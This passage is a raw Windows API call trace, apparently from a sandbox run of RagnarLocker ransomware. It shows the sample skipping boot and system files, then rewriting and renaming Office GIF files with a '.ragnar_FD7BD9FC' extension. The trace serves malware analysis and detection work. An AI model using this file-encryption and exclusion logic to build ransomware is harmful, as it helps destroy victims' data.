lpNumberOfBytesWritten=0x1ea458*=0x1a4, lpOverlapped=0x0) returned 1 [0099.147] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.147] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.147] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.147] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.148] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.148] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.150] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.150] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.150] GetProcessHeap () returned 0x580000 [0099.150] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.150] CloseHandle (hObject=0x10c) returned 1 [0099.150] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF" [0099.150] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF.ragnar_FD7BD9FC" [0099.150] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14870_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14870_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.151] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f92f00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19f92f00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14871_.GIF", cAlternateFileName="")) returned 1 [0099.151] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.151] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14871_.GIF" | out: lpString1="BD14871_.GIF") returned="BD14871_.GIF" [0099.151] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF") returned=".GIF" [0099.151] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.151] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="autorun.inf") returned 1 [0099.151] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="boot.ini") returned -1 [0099.151] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="bootfont.bin") returned -1 [0099.151] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="bootsect.bak") returned -1 [0099.151] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="bootmgr") returned -1 [0099.151] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="bootmgr.efi") returned -1 [0099.151] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.151] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="desktop.ini") returned -1 [0099.151] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="iconcache.db") returned -1 [0099.151] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="ntldr") returned -1 [0099.152] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="ntuser.dat") returned -1 [0099.152] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.152] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="ntuser.ini") returned -1 [0099.152] lstrcmpiW (lpString1="BD14871_.GIF", lpString2="thumbs.db") returned -1 [0099.152] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.152] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.152] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.152] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.152] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.152] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.152] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14871_.gif")) returned 0x20 [0099.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14871_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.152] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=194) returned 1 [0099.152] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.153] GetProcessHeap () returned 0x580000 [0099.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.153] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.153] VirtualAlloc (lpAddress=0x0, dwSize=0xc2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.154] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.154] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.154] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc2, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc2, lpOverlapped=0x0) returned 1 [0099.154] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.154] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc2, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.154] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc2, lpOverlapped=0x0) returned 1 [0099.154] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.154] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.154] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.154] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.154] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.154] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.154] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.155] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.155] GetProcessHeap () returned 0x580000 [0099.155] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.155] CloseHandle (hObject=0x10c) returned 1 [0099.155] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF" [0099.155] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF.ragnar_FD7BD9FC" [0099.155] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14871_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14871_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.188] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3a5000, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c3a5000, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14980_.GIF", cAlternateFileName="")) returned 1 [0099.188] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.188] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14980_.GIF" | out: lpString1="BD14980_.GIF") returned="BD14980_.GIF" [0099.188] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF") returned=".GIF" [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="autorun.inf") returned 1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="boot.ini") returned -1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="bootfont.bin") returned -1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="bootsect.bak") returned -1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="bootmgr") returned -1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="bootmgr.efi") returned -1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="desktop.ini") returned -1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="iconcache.db") returned -1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="ntldr") returned -1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="ntuser.dat") returned -1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="ntuser.ini") returned -1 [0099.188] lstrcmpiW (lpString1="BD14980_.GIF", lpString2="thumbs.db") returned -1 [0099.188] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.188] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.188] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.188] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.188] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.188] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.188] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14980_.gif")) returned 0x20 [0099.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14980_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.190] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=463) returned 1 [0099.190] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.190] GetProcessHeap () returned 0x580000 [0099.190] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.190] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.191] VirtualAlloc (lpAddress=0x0, dwSize=0x1cf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.191] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.191] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.191] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1cf, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1cf, lpOverlapped=0x0) returned 1 [0099.192] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.192] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cf, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.192] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1cf, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1cf, lpOverlapped=0x0) returned 1 [0099.192] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.192] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.192] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.192] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.192] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.192] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.192] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.192] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.193] GetProcessHeap () returned 0x580000 [0099.193] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.193] CloseHandle (hObject=0x10c) returned 1 [0099.193] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF" [0099.193] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF.ragnar_FD7BD9FC" [0099.193] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14980_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14980_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.194] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d6b7d00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d6b7d00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14981_.GIF", cAlternateFileName="")) returned 1 [0099.194] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.194] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14981_.GIF" | out: lpString1="BD14981_.GIF") returned="BD14981_.GIF" [0099.194] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF") returned=".GIF" [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="autorun.inf") returned 1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="boot.ini") returned -1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="bootfont.bin") returned -1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="bootsect.bak") returned -1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="bootmgr") returned -1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="bootmgr.efi") returned -1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="desktop.ini") returned -1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="iconcache.db") returned -1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="ntldr") returned -1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="ntuser.dat") returned -1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="ntuser.ini") returned -1 [0099.194] lstrcmpiW (lpString1="BD14981_.GIF", lpString2="thumbs.db") returned -1 [0099.194] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.195] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.195] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.195] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.195] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.195] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.195] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14981_.gif")) returned 0x20 [0099.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14981_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.195] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=356) returned 1 [0099.195] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x15b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.195] GetProcessHeap () returned 0x580000 [0099.195] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.195] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.196] VirtualAlloc (lpAddress=0x0, dwSize=0x164, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.204] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.204] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.204] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x164, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x164, lpOverlapped=0x0) returned 1 [0099.204] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.204] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x164, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.204] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x164, lpOverlapped=0x0) returned 1 [0099.205] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x164, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.205] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.205] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | 